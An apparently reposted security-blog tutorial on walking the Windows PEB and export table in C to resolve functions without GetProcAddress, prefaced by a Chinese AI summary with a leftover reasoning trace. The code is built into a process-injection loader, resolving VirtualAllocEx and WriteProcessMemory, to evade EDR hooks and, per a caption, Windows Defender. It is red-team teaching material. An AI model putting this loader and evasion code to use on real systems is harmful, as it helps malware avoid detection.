The Ministry of Silly Walks Presents: Walking the PEB
嗯,用户让我用中文帮他总结一篇文章的内容,控制在一百个字以内,而且不需要以“文章内容总结”或“这篇文章”这样的开头,直接写描述即可。首先,我需要仔细阅读并理解这篇文章的内容。 文章主要讲的是Windows进程注入中的PEB走步技术。PEB是进程环境块,包含了很多进程的信息。作者介绍了一种方法,通过解析PEB和Ldr结构来手动定位模块和函数,从而避免使用GetProcAddress函数,这样可以绕过一些安全软件的监控。 文章还提到了工具和代码示例,比如windows-process-injection仓库和AlphabetSoup项目。此外,作者详细讲解了如何通过TEB找到PEB的位置,并展示了手动解析EAT(导出地址表)的过程。最后,作者还讨论了如何进一步提升OPSEC(操作安全),比如动态系统调用解析和手动去钩技术。 所以,总结下来,这篇文章主要介绍了通过走步PEB来实现Windows进程注入的技术细节,并提供了相关的工具和代码示例。 </think> 文章介绍了通过走步PEB(进程环境块)实现Windows进程注入的技术。该方法通过解析PEB和Ldr结构手动定位模块和函数,避免使用GetProcAddress函数以绕过安全软件监控。文章提供了工具、代码示例以及手动解析EAT(导出地址表)的详细过程,并讨论了进一步提升操作安全性的方法。 2026-4-9 07:58:3 Author: infosecwriteups.com(查看原文) 阅读量:13 收藏

Walking the PEB for Windows Process Injection

Tom O'Neill

Background

Context

In previous posts, I covered Windows Process Injection Fundamentals and introduced an obfuscation method called Alphabet Soup. These examples started with the most basic example and left off with dynamic function resolution to obscure suspicious function names.

This is a solid start for obscuring the purpose of our code against static analysis, but it still depends on the GetProcAddress function call. We can obfuscate the GetProcAddress function name as well, but we still end up invoking a high-profile API that EDR vendors scrutinize.

We can further enhance our OPSEC and avoid invoking GetProcAddress entirely by using a technique called ‘Walking the PEB’ to parse the Process Environment Block. By stepping through the PEB data structures, we can manually locate modules and functions.

Press enter or click to view image in full size

Tools

windows-process-injection

The windows-process-injection repository has examples, samples, and snippets that are referenced throughout this post.

AlphabetSoup

The AlphabetSoup project is an obfuscation technique with a PoC loader named 'alphabet-loader.cpp’ , which will be enhanced to demonstrate the PEB-walk technique to bypass Windows Defender at the end of this post.

Overview

What is the PEB?

Every process has a Process Environment Block that contains important information about the process.

Microsoft provides the following PEB data structure with the caveat that it may change in future Windows versions.

typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;

https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb

For manual module and function resolution, we will parse the PEB and Ldr (PPEB_LDR_DATA) structures.

Walking the PEB

Parsing the TEB

The location of the PEB can be found by parsing another data structure: the Thread Environment Block (TEB).

The TEB data structure is defined as follows:

typedef struct _TEB {
PVOID Reserved1[12];
PPEB ProcessEnvironmentBlock;
PVOID Reserved2[399];
BYTE Reserved3[1952];
PVOID TlsSlots[64];
BYTE Reserved4[8];
PVOID Reserved5[26];
PVOID ReservedForOle;
PVOID Reserved6[4];
PVOID TlsExpansionSlots;
} TEB, *PTEB;

https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-teb

The second element in the TEB structure is the ProcessEnvironmentBlock.

The function GetLocalTebAddress in includes\peb-eat-utils.h retrieves the TEB location from the current process that utilizes an offset which varies on 32/64 bit architectures:

// obtain the local process TEB
void* GetLocalTebAddress(void) {
#ifdef _WIN64
return (void*)__readgsqword(0x30);
#else
return (void*)__readfsdword(0x18);
#endif
}

This function is invoked at the beginning of peb-walk.cpp to retrieve the TEB location:

    void* teb = GetLocalTebAddress();
if (debugOutput) {
printf("Current process TEB address: %p\n", teb);
}

Locating the PEB

We can then use TEB address in the calculation to locate the PEB structure and cast the PPEB data type.

peb = (TEB address + PEB offset)

The PEB offset value is architecture-dependent (32/64–bit):

    // maybe move this to a GetLocalPebAddress function?
// this is good for demonstration but we can really skip straight to the PEB
void* peb = NULL;
#ifdef _WIN64
// On x64, PEB is at TEB + 0x60
peb = *(void**)((unsigned char*)teb + 0x60);
#else
// On x86, PEB is at TEB + 0x30
// not currently used, but good to have around
peb = *(void**)((unsigned char*)teb + 0x30);
#endif
if (debugOutput) {
printf("Current process PEB address (TEB + offset): %p\n", peb);
}

// https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb#remarks
// Assuming peb_address holds the valid memory location of the PEB
PPEB peb_ptr = (PPEB)peb;

We now have a pointer to the PEB object in peb_ptr.

Now that we found the PEB, what are we gonna dooooo with itttttt????

Manual Function Resolution

Objective

We need to write our own implementation of GetProcAddress, so the first question is: What does GetProcAddress do?

FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR lpProcName
);

GetProcAddress “Retrieves the address of an exported function (also known as a procedure) or variable from the specified dynamic-link library (DLL).”

Source: https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress

To maintain obfuscation, we need to avoid using the ‘GetProcAddress’ string in our function name. We’ll use ‘GPA’ for shorthand and call our implementation GPAManualByName.

The ‘lpProcName’ parameter can be either the function name or the function ordinal (numerical index). For this project, we will create two functions: one to find a function by name and another to search by ordinal value.

GPAManualByName: Locates the address of a specified function name, searching from a given module base address, and returns the result.

GPAManualByOrdinal: Locates the address of a specified function ordinal, searching from a given module base address, and returns the result.

Let’s also create a helper function that uses the PEB to locate the base address for a module. It will be useful to have in our toolkit.

GetModuleBaseManual: Locates the base address of a specified module name and returns it.

All three of these functions are defined in includes\peb-eat-utils.h

Parsing the Ldr Structure

To accomplish our goals, the primary object we are interested in within the PEB is the Ldr (PPEB_LDR_DATA) object:

PPEB_LDR_DATA                 Ldr;

The PPEB_LDR_DATA data structure contains a doubly-linked list, InMemoryOrderModuleList, that contains all of the modules that have been loaded by the process:

typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

The LIST_ENTRY data structure contains the Forward Link (Flink) and Back Link (Blink) references needed to iterate through the list:

typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

The entries in the list have the data type LDR_DATA_TABLE_ENTRY, which represents a loaded module and includes the DLL name inFullDllName.

typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID Reserved3[2];
UNICODE_STRING FullDllName;
BYTE Reserved4[8];
PVOID Reserved5[3];
union
{
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

All three of these structures are documented on:
https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data

Question: Can we use the FullDllName from LDR_DATA_TABLE_ENTRYto check the module?

Answer: Yes and no. It depends on how thorough we need to be.

For this project, we will continue stepping through data structures to parse the Export Directory Table.

The Export Directory Table is an optional PE header element within the Data Directory that lists the functions the DLL exposes.

The Name field in the Export Directory is defined by the compiler/linker when the DLL is built. It is almost always a simple string like ntdll.dll. By checking the Export Table, we are verifying what the DLL calls itself, rather than what the Windows Loader labels it.

Field: Name RVA

Offset: 12

Size: 4

Description: The address of the ASCII string that contains the name of the DLL. This address is relative to the image base.

https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#export-directory-table

Finding the DLL Base

GetModuleBaseManual

The first step is to determine the base address of the module containing the target function.

From peb-walk.cpp, we call GetModuleBaseManual, which is defined in includes\peb-eat-utils.h

The GetModuleBaseManual function takes two parameters: a pointer to the PEB and the DLL name to locate. In this example, we are looking for USER32.dll:

PVOID dllBase = GetModuleBaseManual(peb_ptr, "USER32.dll");

Access the PEB and Loader Data

The function starts by accessing the pebObject, which contains the Ldr (Loader Data). This structure acts as the process’s internal ledger, containing linked lists that track every module currently mapped into the process’s memory space.

Traverse the Module List

Next, the function enters a while loop to iterate through the InMemoryOrderModuleList. This is a doubly linked list where each node represents a loaded DLL (such as ntdll.dll or kernel32.dll). It uses the CONTAINING_RECORD macro to cast the list entry back into a full LDR_DATA_TABLE_ENTRY structure.

Verify the PE Headers

For every module found, the function performs a sanity check to ensure it is looking at a valid executable:

  • DOS Header: Checks for the MZ signature (IMAGE_DOS_SIGNATURE).
  • NT Headers: Uses the offset in the DOS header (e_lfanew) to find the NT headers and confirms the PE signature (IMAGE_NT_SIGNATURE). This step ensures the script doesn't crash by trying to read non-executable memory.
// get DOS Header
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
printf("Invalid DOS Signature\n");
return NULL;
}

// get NT Headers using the offset from DOS Header
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)moduleBase + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
printf("Invalid NT Signature\n");
return NULL;
}

// Locate the Export Directory in the Data Directory
IMAGE_DATA_DIRECTORY exportDataDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exportDataDir.VirtualAddress == 0) {
// does this case matter? maybe with debug enabled
//printf("No Export Table found for entry %wZ\n", &fileName);
}

Locate the Export Directory

After the headers are validated, it looks into the Data Directory (part of the Optional Header) to find the Export Directory. This directory contains the metadata defined by the compiler when the DLL was built.

Resolve the Internal Module Name

Instead of trusting the filename in the Loader list (which can be spoofed or altered in the file system), the function calculates the memory address of the DLL’s NameOffset using RVA (Relative Virtual Address) math:

  • ModuleBaseAddress + ExportDirectory->NameOffset

Case-Insensitive Comparison

Finally, it performs a case-insensitive string comparison (my_stricmp) between the name found inside the DLL and the targetModuleName. If the values match, it returns the moduleBase address; otherwise, it moves to the next link in the list until it either finds a match or returns to the head of the list.

PVOID dllBase = GetModuleBaseManual(peb_ptr, "USER32.dll");

Now we have a pointer to the base address in dllBase.

Finding a Function by Name

GPAManualByName

With the module base successfully resolved, we can now pivot to locating a specific function within that module’s Export Address Table (EAT).

Get Tom O'Neill’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

From peb-walk.cpp we call GPAManualByName, which is defined in includes\peb-eat-utils.h

GPAManualByName takes two parameters: a module handle to the DLL base and the function name to locate.

PVOID rvaFound = GPAManualByName((HMODULE) dllBase, "MessageBoxA");

Header Validation and Export Table Location

Just like the previous function, this one starts by verifying the DOS and NT Headers. It then extracts the Export Directory RVA from the Data Directory. If the DLL has no exports (like a resource-only DLL), the function exits early.

PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);

IMAGE_DATA_DIRECTORY exportDataDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exportDataDir.VirtualAddress == 0) return NULL;

Processing the EAT

To resolve a name to an address, the function maps three critical arrays from the IMAGE_EXPORT_DIRECTORY:

  • AddressOfNames: An array of pointers (RVAs) to strings (the actual function names like NtCreateThread).
  • AddressOfNameOrdinals: A map array to translate.
  • AddressOfFunctions: An array containing the actual memory offsets (RVAs) for the code.
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base + exportDataDir.VirtualAddress);

PDWORD names = (PDWORD)(base + exports->AddressOfNames);
PWORD ordinals = (PWORD)(base + exports->AddressOfNameOrdinals);
PDWORD functions = (PDWORD)(base + exports->AddressOfFunctions);

Binary Search

Because the names in the AddressOfNames array are sorted alphabetically by the compiler, the function uses a Binary Search algorithm, which mimics GetProcAddress.

This makes the lookup extremely fast, even in massive DLLs like ntdll.dll, which contain hundreds of functions.

Ordinal Pivot

Once a name match is found at index mid, the function doesn't just look at functions[mid]. It performs a crucial intermediate step:

  1. It grabs the Ordinal value from ordinals[mid].
  2. It uses that Ordinal as the true index for the functions array: functions[ordinalValue]. This is necessary because the number of named functions might be smaller than the total number of exported functions.
if (cmp == 0) {
// Match found!
WORD ordinalValue = ordinals[mid];
DWORD funcRVA = functions[ordinalValue];
...
return (PVOID)(base + funcRVA);
}

Forwarder Check

The function includes a safety check to ensure the resulting funcRVA points within the Export Directory's memory range.

  • If it does not: This is a Forwarded Export (e.g., a function in kernel32.dll that actually lives in ntdll.dll) and returns NULL.
// Forwarder Check
if (funcRVA >= exportDataDir.VirtualAddress &&
funcRVA < (exportDataDir.VirtualAddress + exportDataDir.Size)) {
// Add more forwarder logic here
return NULL;
}

Final Address Calculation

If the function is not forwarded, it adds the funcRVA to the module's base address. The result is a usable pointer to the function that can be cast and called directly in code.

return (PVOID)(base + funcRVA);

Finding a Function by Ordinal

GPAManualByOrdinal

With the module base successfully resolved, we can now pivot to locating a specific function within that module’s Export Address Table (EAT).

From peb-walk.cpp, we invoke GPAManualByOrdinal, which is defined in includes\peb-eat-utils.h.

This function accepts two parameters: the HMODULE (the base address of the DLL) and the specific ordinal of the function we want to resolve.

PVOID rvaFound = GPAManualByOrdinal((HMODULE) dllBase, 2151);

Standard PE Navigation

Following the same pattern as our previous manual parsers, this function starts by parsing the DOS and NT Headers. It then extracts the Export Directory RVA from the Data Directory.

// Navigate to the Export Directory (standard PE parsing)
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base +
nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

The Ordinal Base Adjustment

A common pitfall when parsing the EAT is ignoring the Base field within the IMAGE_EXPORT_DIRECTORY.

  • Non-Zero Starting Points: DLLs do not always start their internal function numbering at 0 or 1.
  • Index Calculation: If a DLL defines a Base of 100 and you request Ordinal 105, the function is actually located at index 5 of the address array.
  • The code accounts for this by calculating functionIndex = ordinal - exports->Base, ensuring our request aligns perfectly with the zero-based memory array.
// Adjust the ordinal
DWORD functionIndex = ordinal - exports->Base;

Bounds Validation

To ensure operational stability, the function validates that the calculated functionIndex does not exceed the NumberOfFunctions declared in the Export Directory. This prevents out-of-bounds reads that would otherwise lead to an access violation or a process crash.

// Bounds check
if (functionIndex >= exports->NumberOfFunctions) return NULL;

Direct Array Access

Resolving by name requires iterating through the AddressOfNames and matching it to a map (the AddressOfNameOrdinals array). Resolving by ordinal is a shortcut that allows Direct Array Access.

By navigating directly to the AddressOfFunctions array and using our calculated index, we can immediately retrieve the RVA (Relative Virtual Address) of the target function.

DWORD funcRVA = functionsArray[functionIndex];

Final Pointer Calculation

The function concludes by adding the retrieved RVA to the module’s base address. This transformation turns a relative offset into an absolute memory address, providing a usable pointer to the executable code that can be cast and called directly.

return (PVOID)(base + funcRVA);

Invoking a Function

With the function’s memory address successfully resolved in rvaFound, we are ready to invoke the target code. Because we are bypassing the standard linker and header-file inclusion for this call, we must manually define the function's signature so the compiler knows how to prepare the stack and registers.

Function Pointer Setup

For demonstration, we are targeting the MessageBoxA API. According to the official documentation, the signature requires four parameters:

int MessageBoxA(
[in, optional] HWND hWnd,
[in, optional] LPCSTR lpText,
[in, optional] LPCSTR lpCaption,
[in] UINT uType
);

Source: https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxa

Defining the Custom Type

To interact with this address, we must define a corresponding function pointer type. This ensures that when we call our resolved address, the arguments are passed in the correct order for the WINAPI calling convention.

// custom type defs for function invocation
typedef int (WINAPI* myMessageBoxA)(HWND hWnd, LPCSTR lptext, LPCSTR lpCaption, UINT uType);

Resolving the Function Address

PVOID rvaFound = GPAManualByName((HMODULE) dllBase, "MessageBoxA");

Execution

The final step is to cast the generic PVOID address to our custom myMessageBoxA type. This informs the compiler that rvaFound points to executable code matching our defined signature.

// MessageBoxA example
myMessageBoxA dynamicMsgBox = NULL;
dynamicMsgBox = (myMessageBoxA)rvaFound;
dynamicMsgBox(NULL, "Executed via manual address resolution!", "Success", MB_OK);

Proof-of-Concept

peb-walk Utility

Compile the peb-walk PoC and the supporting components.

cl.exe /W0 /EHsc /I "..\includes" peb-walk.cpp ..\includes\peb-eat-utils.cpp ..\includes\utils.cpp /Fe:peb-walk.exe

Execute peb-walk.exe, and a Message Box should display, confirming success.

Press enter or click to view image in full size

Using peb-walk to call MessageBoxA

Alphabet Soup Loader

Message boxes certainly help to illustrate a point, but the goal is to leverage this in process injection, so the job isn’t quite done yet.

Let’s enhance the Alphabet Soup loader with the PEB-walking technique.

  • Previous techniques: Hash obfuscation with Dynamic Function Resolution via GetProcAddress
  • Increased OPSEC: Hash obfuscation with Dynamic Function Resolution via PEB-Walking

Take our previous code, and we’ll add the utils.h and peb-eat-utils.h includes.

#include "../includes/utils.h"              //  crt replacements
#include "../includes/peb-eat-utils.h" // custom peb/eat walking functions

Resolve the TEB and PEB

void* teb = GetLocalTebAddress();    
printf("Current process TEB address: %p\n", teb);

// maybe move this to a GetLocalPebAddress function?
// this is good for demonstration but we can really skip straight to the PEB
void* peb = NULL;
#ifdef _WIN64
// On x64, PEB is at TEB + 0x60
peb = *(void**)((unsigned char*)teb + 0x60);
#else
// On x86, PEB is at TEB + 0x30
// not currently used, but good to have around
peb = *(void**)((unsigned char*)teb + 0x30);
#endif
printf("Current process PEB address (TEB + offset): %p\n", peb);

// https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb#remarks
// Assuming peb_address holds the valid memory location of the PEB
PPEB peb_ptr = (PPEB)peb;

Remove the call toGetModuleHandleA for kernel32.dll

// Obtain a handle to the kernel32.dll module, this will be passed to GetProcAddress
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (hKernel32 == NULL) {
printf("[ERROR] Failed to get handle to kernel32.dll. Error: %u\n", GetLastError());
return -1;
}

Add the GetModuleBaseManual call to resolve the DLL base RVA

// resolve the module base
PVOID kernel32Base = GetModuleBaseManual(peb_ptr, "kernel32.dll");

Replace GetProcAddress calls with GPAManualByName

// Use GPAManualByName to get the address of the VirtualAllocEx function 
myVirtualAllocEx = (P_VirtualAllocEx)GPAManualByName((HMODULE) kernel32Base, "VirtualAllocEx");
if (myVirtualAllocEx == nullptr) {
printf("[ERROR] Failed to resolve VirtualAllocEx. Error: %u\n", GetLastError());
return -1;
}

// Use GetProcAddress to get the address of the WriteProcessMemory function
myWriteProcessMemory = (P_WriteProcessMemory)GPAManualByName((HMODULE) kernel32Base, "WriteProcessMemory");
if (myWriteProcessMemory == nullptr) {
printf("[ERROR] Failed to resolve WriteProcessMemory. Error: %u\n", GetLastError());
return -1;
}

Press enter or click to view image in full size

Bypassing Windows Defender to run a msfvenom calc payload in the notepad.exe process

Summary

OPSEC Benefits

By manually resolving and invoking function pointers, we achieve several key operational advantages:

  • Reduced Static Footprint: The strings GetProcAddress and MessageBoxA never appear in the binary’s Import Address Table (IAT), making static analysis significantly more difficult.
  • Bypassing API Monitoring: We eliminate the use of kernel32!GetProcAddress entirely. Since many security products hook this specific function to monitor for suspicious exports, bypassing it allows our loader to operate under the radar.

Next Steps

It is important to note that while manual PEB and EAT parsing successfully evades IAT-based redirection and GetProcAddress instrumentation, it remains vulnerable to Inline Hooks (trampolines).

To achieve full evasion against modern EDRs, this technique serves as the essential foundation for more advanced maneuvers:

  • Dynamic Syscall Resolution: Using the EAT parsing to find syscall numbers (SSNs) and executing them directly in assembly.
  • Manual Unhooking: Using our manual parser to locate and ‘patch’ hooked bytes in the .text section with clean code from a known-good source.

文章来源: https://infosecwriteups.com/the-ministry-of-silly-walks-presents-walking-the-peb-e3c159eb3d30?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh